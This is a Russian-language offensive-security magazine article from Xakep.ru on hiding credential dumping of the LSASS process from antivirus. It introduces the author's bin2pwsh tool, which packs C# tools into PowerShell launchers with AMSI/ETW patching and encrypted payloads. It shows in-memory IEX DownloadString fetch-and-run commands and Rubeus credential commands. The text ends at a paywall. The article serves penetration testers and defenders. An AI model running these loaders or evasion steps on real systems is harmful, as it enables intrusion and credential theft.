В этой статье под­робно раз­берем скры­тое при­мене­ние ути­литы NanoDump из памяти, ког­да модели­руемый зло­умыш­ленник не обла­дает «маяч­ком» C&C на ата­куемом сетевом узле, и срав­ним такой спо­соб исполь­зования NanoDump с при­мене­нием SafetyKatz.

Pentest Award

Этот текст получил пер­вое мес­то на пре­мии Pentest Award 2024 в катего­рии «Раз bypass, два bypass». Это сорев­нование еже­год­но про­водит­ся ком­пани­ей Awillix.

NanoDump уже успел обрести широкую популяр­ность у вен­доров AV/EDR, что пос­пособс­тво­вало написа­нию для него кучи детек­тов, поэто­му теперь мы можем более сво­бод­но поделить­ся сво­им опы­том его исполь­зования на «внут­ряках».

info

Эта замет­ка — про­дол­жение темы, начатой в статье «Дам­пы LSASS для всех, даром, и пусть ник­то не уйдет оби­жен­ный», в которой я показы­вал, как мож­но «по‑молодеж­ному» вытас­кивать сек­реты из памяти про­цес­са lsass.exe для повыше­ния при­виле­гий в кор­поратив­ном домене Active Directory или даль­нейших боковых переме­щений в нед­ра внут­рянки заказ­чика пен­теста.

warning

Статья име­ет озна­коми­тель­ный харак­тер и пред­назна­чена для спе­циалис­тов по безопас­ности, про­водя­щих тес­тирова­ние в рам­ках кон­трак­та. Автор и редак­ция не несут ответс­твен­ности за любой вред, при­чинен­ный с при­мене­нием изло­жен­ной информа­ции. Рас­простра­нение вре­донос­ных прог­рамм, наруше­ние работы сис­тем и наруше­ние тай­ны перепис­ки прес­леду­ются по закону.

 

Вводная

Для начала нем­ного понос­таль­гиру­ем по вре­менам, ког­да деревья были зеленее, а анти­вирус­ные решения не были так жес­токи по отно­шению к рядовым исполни­телям про­ектов по тес­тирова­нию на про­ник­новение. В то вре­мя (око­ло пяти лет до момен­та написа­ния статьи) в сос­таве кол­лекции GhostPack появил­ся инте­рес­ный инс­тру­мент SafetyKatz, в рам­ках раз­работ­ки которо­го иссле­дова­тель @harmj0y вдох­нул новую жизнь в небезыз­вес­тный Mimikatz, уже на тот момент «палив­ший­ся» всем и вся при его исполь­зовании в чис­том виде.

SafetyKatz деком­позиру­ет про­цесс извле­чения дан­ных аутен­тифика­ции из LSASS на два эта­па: непос­редс­твен­ное соз­дание дам­па с помощью API-руч­ки dbghelp.dll!MiniDumpWriteDump и пар­синг получен­ного дам­па пос­редс­твом модифи­циро­ван­ного (умень­шен­ного по сво­им воз­можнос­тям) Mimikatz. Пос­ледний, в свою оче­редь, заг­ружа­ется в память по методу PE Reflection и выпол­няет захар­дко­жен­ные коман­ды sekurlsa::logonpasswords и sekurlsa::ekeys в отно­шении уже соз­данно­го ранее дам­па памяти. По завер­шении работы ути­литы прив­несен­ные арте­фак­ты — минидамп, сох­ранен­ный по пути C:\Windows\Temp\debug.bin, — уда­ляют­ся с фай­ловой сис­темы жер­твы.

Описание SafetyKatz (github.com)
Опи­сание SafetyKatz (github.com)

Та­кой под­ход в свое вре­мя поз­волял умень­шить количес­тво детек­тов исполь­зования sekurlsa::logonpasswords «на живую», сок­ращал вре­мя на выдер­гивание хешей и клю­чей (немалый дамп памяти боль­ше не нуж­но тащить к себе на тач­ку) и пря­тал сиг­натуру Mimikatz от ста­тичес­кого ана­лиза. При­мер­но такой же под­ход дол­гое вре­мя при­менял­ся моей коман­дой с тем лишь отли­чием, что я исполь­зовал новомод­ный NanoDump из памяти для соз­дания слеп­ка памяти и биб­лиоте­ку на C# — для его пар­синга на мес­те.

Даль­ше мы рас­смот­рим попод­робнее, как соз­дать свой «SafetyNDump» для фана и про­фита, но спер­ва озна­комим­ся со вспо­мога­тель­ным инс­тру­мен­тари­ем.

info

Сра­зу ого­ворюсь, что далее не будут рас­смот­рены дей­ству­ющие на момент написа­ния статьи тех­ники обхо­да AV/EDR для дам­па LSASS. Цель пуб­ликации — рас­ска­зать, как мы дол­гое вре­мя «абь­юзи­ли» одну из лазе­ек укло­нения от «Кас­пер­ско­го», и тем самым поделить­ся сво­им опы­том с кол­легами, игра­ющи­ми на сто­роне дефен­са. На дан­ный момент опи­сыва­емый век­тор ата­ки зак­рыт.

 

System.Reflection.Assembly. Король умер, да здравствует король!

Мне очень нра­вит­ся PowerShell и его воз­можнос­ти в кон­тек­сте нас­тупатель­ной безопас­ности. В слу­чае, ког­да в целевой инфраструк­туре не заж­жен AppLocker + Constrained Language Mode, прос­тота при­мене­ния это­го инс­тру­мен­та Windows-авто­мати­зации на обыч­ных пен­тестах — прос­то подарок для модели­руемо­го зло­умыш­ленни­ка. На киберу­чени­ях с необ­ходимостью скры­того исполне­ния команд его тоже мож­но прис­пособить под нуж­ды исполни­теля с помощью пат­чинга ETW, вызова ран­спей­са System.Management.Automation нап­рямую (я смот­рю на тебя, PowerShx!) и дру­гих трик­сов.

Мы будем целить­ся в исполне­ние нак­рафчен­ного на C# кода через механизм System.Reflection.Assembly, что поможет еще боль­ше упростить жизнь этич­ному зло­умыш­ленни­ку при под­клю­чении к сетевым узлам через служ­бу WinRM (Windows Remote Management) или, нап­ример, с помощью скрип­тов exec.py из Impacket.

На прос­торах интерне­та есть куча ма­тери­алов, как выпол­нять код на «шар­пах» через PowerShell, но мне, как обыч­но, не хва­тало а‑в-т‑о-м‑а-т‑и-з‑а-ц‑и-и... Поэто­му в сво­бод­ное от работы вре­мя я написал прос­тую питонячью ути­литу bin2pwsh, которая поз­воля­ет кон­верти­ровать соб­ранные на C# бинари в лаун­черы на PowerShell.

Я даже лого сделал, ага (с logoly.pro)
Я даже лого сде­лал, ага (с logoly.pro)

Крат­ко опи­шу ее воз­можнос­ти:

  • Авто­мати­чес­ки соз­дает «запус­каторы» на PowerShell из ском­пилиро­ван­ных исполня­емых фай­лов на C# на осно­ве пре­доп­ределен­ных шаб­лонов (клас­сичес­кий или с исполь­зовани­ем при­мити­вов Emit). Бай­ты исполня­емых фай­лов спер­ва сжи­мают­ся с помощью zlib и обо­рачи­вают­ся в Base64 для их встра­ива­ния в код скрип­тов .ps1.
  • Мож­но исполь­зовать безум­но кру­той инс­тру­мент Donut, если нуж­но запус­кать неуп­равля­емый код из PowerShell для сис­темных вызовов — пря­мых (форк Donut от @s4ntiago_p для Linux) или неп­рямых (зак­рытый форк Donut от @KlezVirus и Porchetta Industries для Windows с воз­можностью перехе­широ­вания на лету). Само исполне­ние неуп­равля­емо­го кода дос­тига­ется за счет пред­варитель­ной кросс‑ком­пиляции в Linux (с помощью Mono) или обыч­ной ком­пиляции в Windows (с помощью csc.exe) селф‑инжекто­ра на C# на осно­ве тем­плей­тов от @bohops (Unmanaged Code Execution with .NET Dynamic PInvoke) и @dr4k0nia (HInvoke and avoiding PInvoke). Они работа­ют без ста­тичес­ких импортов P/Invoke для вызовов WinAPI. Более под­робное опи­сание тем­плей­та инжекто­ра мож­но най­ти на GitHub.
  • Поз­воля­ет при­менять нес­ложные тех­ники укло­нения от AV: пат­чинг AMSI, ETW, RC4-шиф­рование полез­ной наг­рузки с помощью встро­енных механиз­мов Windows и обфуска­ция ста­тичес­ких строк.

Рас­смот­рим при­меры исполь­зования.

 

Пример 1. Базовый

Это прос­тая упа­ков­ка Rubeus в PowerShell-лаун­чер на осно­ве стан­дар­тно­го шаб­лона System.Reflection.Assembly.

curl -sSL https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.0_Any/Rubeus.exe -o Rubeus.exe
bin2pwsh.py Rubeus.exe
Генерация загрузчика Rubeus на PowerShell
Ге­нера­ция заг­рузчи­ка Rubeus на PowerShell
IEX(New-Object Net.WebClient).DownloadString("http://10.10.13.37/Invoke-Rubeus.ps1")
Invoke-Rubeus hash /domain:nightcity.net /user:snovvcrash /password:Passw0rd!
Загрузка и запуск Rubeus из памяти
Заг­рузка и запуск Rubeus из памяти
 

Пример 2. Продвинутый

Те­перь пос­мотрим на прод­винутую упа­ков­ку Rubeus в PowerShell-лаун­чер на осно­ве шаб­лона System.Reflection.Emit и его исполне­ние через запуск селф‑инжекто­ра шелл‑кода, получен­ного с помощью фор­ка Donut за авторс­твом KlezVirus с динами­чес­ким перехе­широ­вани­ем неп­рямых сис­темных вызовов (под­робнее о тех­нике рас­ска­зыва­ет ро­лик на YouTube). Чаще все­го этот спо­соб исполь­зует­ся с натив­ным кодом, одна­ко паковать таким обра­зом управля­емый код так­же ник­то не зап­реща­ет.

curl -sSL https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.0_Any/Rubeus.exe -o Rubeus.exe
py .\bin2pwsh.py 'Rubeus.exe hash /domain:nightcity.net /user:snovvcrash /password:Passw0rd!' -d -wh C:\Tools\SysWhispers3\syswhispers.py -whm jumper_randomized --emit --debug --silent
Генерация загрузчика Rubeus на PowerShell
Ге­нера­ция заг­рузчи­ка Rubeus на PowerShell
IEX(New-Object Net.WebClient).DownloadString("http://10.10.13.37/Invoke-RubeusInject.ps1")
Invoke-RubeusInject
Загрузка и запуск Rubeus из памяти
Заг­рузка и запуск Rubeus из памяти
 

Пример 3. PowerSharpPack своими руками

Ну и на слад­кое — при­мер соз­дания ана­лога репози­тория PowerSharpPack (от @ShitSecure) из SharpCollection (от @Flangvik) за счи­таные секун­ды.

git clone https://github.com/Flangvik/SharpCollection
cd SharpCollection/NetFramework_4.0_Any
for exe in ./*.exe; do bin2pwsh.py $exe --silent; done
Делаем лаунчеры на PowerShell из SharpCollection
Де­лаем лаун­черы на PowerShell из SharpCollection
IEX(New-Object Net.WebClient).DownloadString("http://10.10.13.37/Invoke-Seatbelt.ps1")
Invoke-Seatbelt -group=system
Загрузка и запуск Seatbelt из памяти
Заг­рузка и запуск Seatbelt из памяти

Со вспо­мога­тель­ным инс­тру­мен­тари­ем разоб­рались, вер­немся к нашей проб­леме. Что­бы оста­вать­ся орга­низо­ван­ными и во имя кон­цепции «раз­деляй и влас­твуй», не будем отхо­дить от нар­ратива деком­позиции SafetyKatz и пооче­ред­но рас­смот­рим соз­дание дам­па и его пар­синг.

 

Пишем SafetyNDump. Создание дампа LSASS в обход AV

Итак, пер­вое, с чем нуж­но разоб­рать­ся, — это соз­дание дам­па памяти lsass.exe. Спо­соб дол­жен про­катить с дей­ству­ющим средс­твом защиты.

 

Олицетворение SYSTEM из неинтерактивной консоли

Продолжение доступно только участникам

Материалы из последних выпусков становятся доступны по отдельности только через два месяца после публикации. Чтобы продолжить чтение, необходимо стать участником сообщества «Xakep.ru».

Присоединяйся к сообществу «Xakep.ru»!

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии